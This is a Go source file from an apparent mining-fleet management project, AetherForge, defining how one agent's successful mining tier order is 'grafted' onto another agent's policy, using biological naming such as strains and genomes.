Files
AetherForge/server/internal/strategy/graft.go
AetherForge c8b3b2a126
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add fleet topology epidemiology: strain plague map and mining interrupt fixes.
Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.
2026-06-07 09:19:48 -07:00

102 lines
3.1 KiB
Go

package strategy
import (
"crypto/sha256"
"fmt"
"strings"
"time"
)
// GraftSource is the winning spread strain from agent A (tier success).
type GraftSource struct {
SourceAgentID string
SourceAgentName string
GraftSourceStrain string
GraftTier string
TierOrder []string
PeakHashrate float64
}
// GraftPolicy is pushed to agent B on auth; auth is never gated by genealogy.
type GraftPolicy struct {
GraftSourceStrain string `json:"graft_source_strain"`
GraftTier string `json:"graft_tier"`
GraftApprovedAt string `json:"graft_approved_at"`
TierOrder []string `json:"tier_order,omitempty"`
SourceAgentName string `json:"source_agent_name,omitempty"`
}
// GraftEnabled is true when Fleet AI Control + fleet roles are on (zero extra Calibrate toggles).
func GraftEnabled(aiControl, fleetRoles bool) bool {
return aiControl && fleetRoles
}
// BuildGraftSourceFromAgent extracts graft inputs from a tier-successful source agent.
func BuildGraftSourceFromAgent(sourceID, sourceName, joinLane, spreadStrain string, tierOrder []string, peakHashrate float64) GraftSource {
tier := strings.TrimSpace(joinLane)
strain := strings.TrimSpace(spreadStrain)
if strain == "" && tier != "" {
strain = spreadStrainFromLane(tier)
}
order := normalizeTierList(tierOrder)
if len(order) == 0 && tier != "" {
order = []string{tier}
}
return GraftSource{
SourceAgentID: strings.TrimSpace(sourceID),
SourceAgentName: strings.TrimSpace(sourceName),
GraftSourceStrain: strain,
GraftTier: tier,
TierOrder: order,
PeakHashrate: peakHashrate,
}
}
// SpliceGraftGenome splices source winning tier order onto target genome without re-spreading B.
func SpliceGraftGenome(targetOrder []string, graft GraftSource) []string {
sourceOrder := append([]string(nil), graft.TierOrder...)
if len(sourceOrder) == 0 && graft.GraftTier != "" {
sourceOrder = []string{graft.GraftTier}
}
target := normalizeTierList(targetOrder)
if len(sourceOrder) == 0 {
return target
}
if len(target) == 0 {
return sourceOrder
}
return CrossbreedTierOrders(sourceOrder, target, nil, nil)
}
// GraftMetabolismGatePassed reports whether target hashrate satisfies the earn-before-graft gate.
func GraftMetabolismGatePassed(miningHashrate, gateHPS float64) bool {
if gateHPS <= 0 {
return true
}
return miningHashrate >= gateHPS
}
// BuildGraftPolicy builds the auth/policy payload for a pending graft on agent B.
func BuildGraftPolicy(graft GraftSource, targetOrder []string, approvedAt time.Time) GraftPolicy {
order := SpliceGraftGenome(targetOrder, graft)
if approvedAt.IsZero() {
approvedAt = time.Now().UTC()
}
return GraftPolicy{
GraftSourceStrain: graft.GraftSourceStrain,
GraftTier: graft.GraftTier,
GraftApprovedAt: approvedAt.UTC().Format(time.RFC3339),
TierOrder: order,
SourceAgentName: graft.SourceAgentName,
}
}
func spreadStrainFromLane(lane string) string {
lane = strings.TrimSpace(strings.ToLower(lane))
if lane == "" {
return ""
}
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
}